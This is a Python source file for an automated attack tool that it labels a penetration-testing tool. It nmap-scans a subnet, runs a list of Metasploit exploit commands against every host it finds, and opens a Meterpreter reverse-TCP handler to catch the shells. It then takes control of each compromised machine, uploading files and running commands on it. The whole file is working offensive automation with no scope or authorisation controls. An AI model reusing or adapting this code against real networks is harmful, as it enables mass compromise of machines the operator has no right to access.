# -*- coding: utf-8 -*-
from msfrpc import MsfRpcClient
from msfconsole import MsfRpcConsole
from threading import Thread, Event
import subprocess, signal, time, psutil, nmap, json
import platform
from datetime import datetime
import os as sys
import requests

global global_positive_out
global global_console_status

global_positive_out = list()
global_console_status = False

targets = []
global_interface = ""

def read_console(console_data):
    global global_console_status
    global_console_status = console_data['busy']
    print global_console_status
    if '[+]' in console_data['data']:
        sigdata = console_data['data'].rstrip().split('\n')
        for line in sigdata:
            if '[+]' in line:
                global_positive_out.append(line)
        print console_data['data']

def sentToUI(data):
        print(data)
        r = requests.post(global_interface, json.dumps(data))
        print(r.status_code, r.reason)

class Main():
    
    def __init__(self, listener_ip, interface="127.0.0.1", password='test',rpc_port=55553,listen_port=4444, CIDR='192.168.1.0/24'):
        self.banner()
        print(str(datetime.now()))
        print("MSF RPC START")
        self.RPC_init('test')
        time.sleep(20)

        global global_interface
        global_interface = interface
        self.sessions = {}
        self.port = rpc_port
        self.listener_ip = listener_ip
        self.listen_port = listen_port
        self.CIDR = CIDR
        self.hosts = []

        atk = Host(listener_ip, listen_port, platform.system(), platform.architecture()[0], 'attacker', '')
        sentToUI(atk.data)
        
        # Scan for host
        print(str(datetime.now()))
        print("NMap is running")
        self.nm = nmap.PortScanner()
        self.scanner()
        print(str(datetime.now()))
        print("NMap is Finish\nOS predict may be faulty\n")
        for host in self.hosts:
            print(host)

        # Create a new msfrpc instance
        print("\nCreate MSF RPC instance\n")
        self.client = MsfRpcClient(password, port=rpc_port)
        self.con = MsfRpcConsole(self.client, cb=read_console)
        
        self.handle()
        print(str(datetime.now()))
        print("construction")
        with open('./setting/preexploit.setting') as f:
            for line in f:
                if '!listenerIP!' in line:
                    line = line.replace('!listenerIP!', listener_ip)
                print("\n > " + line)
                sys.system(line)

        targets = self.hosts

        self.exploits = []

        with open('./setting/exploit.setting') as f:
            for line in f:
                self.exploits.append(line)

        watcher = self.Watcher(self.client, self.sessions, self.hosts)
        watcher.start()

        time.sleep(5)
        
        for _ in range(2):
            for target in targets:
                if target.session is None:
                    self.attack(target)
            time.sleep(2)
        
        for target in targets:
            if target.session is None:
                target.data['state'] = 'failed'
    
    def attack(self, target):
            print(str(datetime.now()))
            for l in self.exploits:
                line = l.replace('!targetIP!', target.data['ip'])
                print("\n > " + line + "\n")
                out = sys.system(line)
                target.data['state'] = 'scanning'
                sentToUI(target.data)
                print("\n")
                
    def scanner(self):
        self.nm.scan(self.CIDR, arguments="-O")
        for ip in self.nm.all_hosts():
            predict_os = self.nm[ip]['osmatch'][-1]['osclass'][0]['osfamily'] if len(self.nm[ip]['osmatch']) > 0 else "unknown"
            host = Host(ip, 0, predict_os, "unknown", 'standby', self.listener_ip)
            self.hosts.append(host)
        
    def handle(self, payload='windows/x64/meterpreter/reverse_tcp'):
        self.con.execute('use exploit/multi/handler')
        self.con.execute('set ExitOnSession false')
        self.con.execute('set PAYLOAD ' + payload)
        self.con.execute('set EXITFUNC thread')
        self.con.execute('set LHOST 0.0.0.0')
        self.con.execute('set LPORT ' + str(self.listen_port))
        self.con.execute('exploit -j')

    def RPC_init(self, password, ip = '127.0.0.1'):
        p = subprocess.Popen(["msfrpcd", "-P", password, "-n", "-f", "-a", ip])
        return p

    def RPC_kill(self):
        p = subprocess.Popen(['ps', '-A'], stdout=subprocess.PIPE)
        out, _ = p.communicate()
        for line in out.splitlines():
            if 'msfrpcd' in line:
                pid = int(line.split(None, 1)[0])
                sys.kill(pid)

    def banner(self):
        print("! AUTOMATED PENETRATION TESTING TOOL !")
    
    

    class Watcher(Thread):
        def __init__(self, client, sessions, hosts):

            Thread.__init__(self)

            self.client = client
            self.sessions = sessions
            self.hosts = hosts
            self.standbyhosts = []
            self.attackers = {}

            print("watcher is running")
            for host in self.hosts:
                self.standbyhosts.append(host.data['ip'])
            
            self.standbyhosts.reverse()
        
        def run(self):
            while(True):
                try:
                    rpc_sessions = self.client.sessions.list
                    if len(self.sessions) < len(rpc_sessions):
                        new_session = list(set(rpc_sessions.keys()) - set(self.sessions.keys()))
                        self.sessions = rpc_sessions
                        for sid in new_session:
                            for host in self.hosts:
                                tmp = self.sessions[sid][u'session_host'].encode('utf-8')
                                if host.data['ip'] == tmp:
                                    print(str(datetime.now()))
                                    print("new session founded!")
                                    self.standbyhosts.remove(host.data['ip'])
                                    
                                    host.client = self.client
                                    host.data['port'] = self.sessions[sid][u'session_port']
                                    host.data['os'] = str(self.sessions[sid][u'platform'])
                                    host.data['arch'] = str(self.sessions[sid][u'arch'])

                                    if host.session is not None:
                                        host.session.stop
                                        print("stop old session")
                                    host.session_id = sid
                                    host.makeSession()
                                    host.data['state'] = 'success'

                                    sentToUI(host.data)
                                    print(host.data['ip'], sid)
                                    
                    pass
                except Exception:
                    pass
                # time.sleep(10)

class Host():
    def __init__(self, ip, port, host_os, arch, status, parent):
        self.data = {
            'ip' : ip,
            'port' : port,
            'os' : host_os,
            'arch' : arch,
            'state' : status,
            'parent' : parent
        }
        self.session_id = None
        self.session = None
        self.client = None

    def __str__(self):
        return self.data['ip']

    def isAvaliable(self):
        if self.data['state'] != 'standby':
            return True
        return False

    def makeSession(self):
        if self.session is None:
            if self.session_id is not None:
                self.session = self.client.sessions.session(self.session_id)

    def puppet(self, command):
        self.session.write(command)

    def upload(self, file_location, dest="C:\\"):
        self.puppet('upload ' + file_location + ' ' + dest)

    def execute(self, path, args=''):
        tmp = 'execute -f cmd /c ' + path + ' ' + args
        self.puppet(tmp)
